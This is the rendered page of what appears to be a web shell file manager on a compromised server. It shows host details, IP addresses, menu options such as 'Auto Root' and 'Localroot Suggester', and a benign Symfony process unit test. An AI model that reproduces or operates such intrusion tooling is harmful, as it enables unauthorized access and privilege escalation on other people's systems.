Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.188.73.229
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp-test /
vendor /
symfony /
process /
Tests /
Delete
Unzip
Name
Size
Permission
Date
Action
ExecutableFinderTest.php
4.19
KB
-rw-r--r--
2018-11-20 16:22
KillableProcessWithOutput.php
549
B
-rw-r--r--
2018-11-20 16:22
NonStopableProcess.php
1.04
KB
-rw-r--r--
2018-11-20 16:22
PhpExecutableFinderTest.php
1.32
KB
-rw-r--r--
2018-11-20 16:22
PhpProcessTest.php
1.26
KB
-rw-r--r--
2018-11-20 16:22
PipeStdinInStdoutStdErrStreamSelect.php
1.71
KB
-rw-r--r--
2018-11-20 16:22
ProcessFailedExceptionTest.php
5.03
KB
-rw-r--r--
2018-11-20 16:22
ProcessTest.php
46.21
KB
-rw-r--r--
2018-11-20 16:22
SignalListener.php
398
B
-rw-r--r--
2018-11-20 16:22
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process\Tests; use PHPUnit\Framework\TestCase; use Symfony\Component\Process\PhpProcess; class PhpProcessTest extends TestCase { public function testNonBlockingWorks() { $expected = 'hello world!'; $process = new PhpProcess(<<<PHP <?php echo '$expected'; PHP ); $process->start(); $process->wait(); $this->assertEquals($expected, $process->getOutput()); } public function testCommandLine() { $process = new PhpProcess(<<<'PHP' <?php echo phpversion().PHP_SAPI; PHP ); $commandLine = $process->getCommandLine(); $process->start(); $this->assertContains($commandLine, $process->getCommandLine(), '::getCommandLine() returns the command line of PHP after start'); $process->wait(); $this->assertContains($commandLine, $process->getCommandLine(), '::getCommandLine() returns the command line of PHP after wait'); $this->assertSame(PHP_VERSION.\PHP_SAPI, $process->getOutput()); } }